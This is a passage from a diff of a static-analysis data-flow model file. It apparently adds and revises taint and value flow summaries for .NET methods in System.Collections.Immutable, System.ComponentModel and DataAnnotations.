System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;get_Item;(TKey);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Collections.Immutable;ImmutableSortedDictionary;get_KeyComparer;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;get_Keys;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Element;value;manual | @@ -5924,10 +5945,10 @@ | System.Collections.Immutable;ImmutableSortedSet;Create;(T[]);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet;CreateBuilder;(System.Collections.Generic.IComparer);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable);Argument[1].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable);Argument[1];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IComparer);Argument[1];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet+Builder;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableSortedSet`1+Enumerator.Current];value;manual | | System.Collections.Immutable;ImmutableSortedSet+Builder;IntersectWith;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];value;dfc-generated | @@ -5945,20 +5966,26 @@ | System.Collections.Immutable;ImmutableSortedSet;Add;(T);Argument[0];Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableSortedSet;Clear;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;Clear;();Argument[this];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedSet;Except;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;Except;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableSortedSet`1+Enumerator.Current];value;manual | -| System.Collections.Immutable;ImmutableSortedSet;Intersect;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;Remove;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;Intersect;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;Remove;(T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;Reverse;();Argument[this].Element;ReturnValue.Element;value;manual | +| System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].Element;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].Element;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet;TryGetValue;(T,T);Argument[0];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;TryGetValue;(T,T);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];Argument[1];value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;WithComparer;(System.Collections.Generic.IComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer];value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;WithComparer;(System.Collections.Generic.IComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet;WithComparer;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;WithComparer;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;get_Item;(System.Int32);Argument[this].Element;ReturnValue;value;manual | | System.Collections.Immutable;ImmutableSortedSet;get_KeyComparer;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;get_Max;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];ReturnValue;value;dfc-generated | @@ -6198,6 +6225,7 @@ | System.ComponentModel.DataAnnotations;AssociationAttribute;get_OtherKeyMembers;();Argument[this].Property[System.ComponentModel.DataAnnotations.AssociationAttribute.OtherKey];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel.DataAnnotations;AssociationAttribute;get_ThisKeyMembers;();Argument[this].Property[System.ComponentModel.DataAnnotations.AssociationAttribute.ThisKey];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel.DataAnnotations;CompareAttribute;CompareAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherProperty];value;dfc-generated | +| System.ComponentModel.DataAnnotations;CompareAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherProperty];Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherPropertyDisplayName];value;df-generated | | System.ComponentModel.DataAnnotations;CompareAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherProperty];Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherPropertyDisplayName];value;dfc-generated | | System.ComponentModel.DataAnnotations;CustomValidationAttribute;CustomValidationAttribute;(System.Type,System.String);Argument[1];Argument[this].Property[System.ComponentModel.DataAnnotations.CustomValidationAttribute.Method];value;dfc-generated | | System.ComponentModel.DataAnnotations;DataTypeAttribute;DataTypeAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.DataTypeAttribute.CustomDataType];value;dfc-generated | @@ -6230,6 +6258,11 @@ | System.ComponentModel.DataAnnotations;UIHintAttribute;get_UIHint;();Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.UIHint];ReturnValue;value;dfc-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;GetValidationResult;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;Validate;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;Validate;(System.Object,System.String);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;ValidationAttribute;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;ValidationAttribute;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;ValidationAttribute;(System.Func);Argument[0];Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.ValidationAttribute._errorMessageResourceAccessor];value;dfc-generated | @@ -6376,8 +6409,12 @@ | System.ComponentModel;AmbientValueAttribute;AmbientValueAttribute;(System.String);Argument[0];Argument[this].SyntheticField[System.ComponentModel.AmbientValueAttribute._value];value;dfc-generated | | System.ComponentModel;AmbientValueAttribute;AmbientValueAttribute;(System.Type,System.String);Argument[1];Argument[this].SyntheticField[System.ComponentModel.AmbientValueAttribute._value];value;dfc-generated | | System.ComponentModel;AmbientValueAttribute;get_Value;();Argument[this].SyntheticField[System.ComponentModel.AmbientValueAttribute._value];ReturnValue;value;dfc-generated | +| System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;ArrayConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;AsyncCompletedEventArgs;AsyncCompletedEventArgs;(System.Exception,System.Boolean,System.Object);Argument[0];Argument[this].Property[System.ComponentModel.AsyncCompletedEventArgs.Error];value;dfc-generated | | System.ComponentModel;AsyncCompletedEventArgs;AsyncCompletedEventArgs;(System.Exception,System.Boolean,System.Object);Argument[2];Argument[this].Property[System.ComponentModel.AsyncCompletedEventArgs.UserState];value;dfc-generated | @@ -6405,8 +6442,12 @@ | System.ComponentModel;BaseNumberConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;BaseNumberConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;BaseNumberConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;BindingList;InsertItem;(System.Int32,T);Argument[1];Argument[this].SyntheticField[System.Collections.ObjectModel.Collection`1.items].Element;value;dfc-generated | | System.ComponentModel;BindingList;OnAddingNew;(System.ComponentModel.AddingNewEventArgs);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel;BindingList;OnListChanged;(System.ComponentModel.ListChangedEventArgs);Argument[0];Argument[this];taint;df-generated | @@ -6424,11 +6465,19 @@ | System.ComponentModel;CharConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;CharConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;CharConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;CollectionChangeEventHandler;BeginInvoke;(System.Object,System.ComponentModel.CollectionChangeEventArgs,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | +| System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;CollectionConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;ComplexBindingPropertiesAttribute;ComplexBindingPropertiesAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.ComplexBindingPropertiesAttribute.DataSource];value;dfc-generated | | System.ComponentModel;ComplexBindingPropertiesAttribute;ComplexBindingPropertiesAttribute;(System.String,System.String);Argument[0];Argument[this].Property[System.ComponentModel.ComplexBindingPropertiesAttribute.DataSource];value;dfc-generated | @@ -6446,8 +6495,12 @@ | System.ComponentModel;CultureInfoConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;CultureInfoConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;CultureInfoConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;CultureInfoConverter;GetCultureName;(System.Globalization.CultureInfo);Argument[0].Property[System.Globalization.CultureInfo.Name];ReturnValue;value;dfc-generated | | System.ComponentModel;CultureInfoConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;CustomTypeDescriptor;CustomTypeDescriptor;(System.ComponentModel.ICustomTypeDescriptor);Argument[0];Argument[this].SyntheticField[System.ComponentModel.CustomTypeDescriptor._parent];value;dfc-generated | @@ -6455,20 +6508,36 @@ | System.ComponentModel;DateOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;DateOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;DateOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;DateTimeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;DateTimeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;DateTimeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;DefaultBindingPropertyAttribute;DefaultBindingPropertyAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DefaultBindingPropertyAttribute.Name];value;dfc-generated | | System.ComponentModel;DefaultEventAttribute;DefaultEventAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DefaultEventAttribute.Name];value;dfc-generated | | System.ComponentModel;DefaultPropertyAttribute;DefaultPropertyAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DefaultPropertyAttribute.Name];value;dfc-generated | @@ -6508,8 +6577,12 @@ | System.ComponentModel;EnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;EnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;EnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | 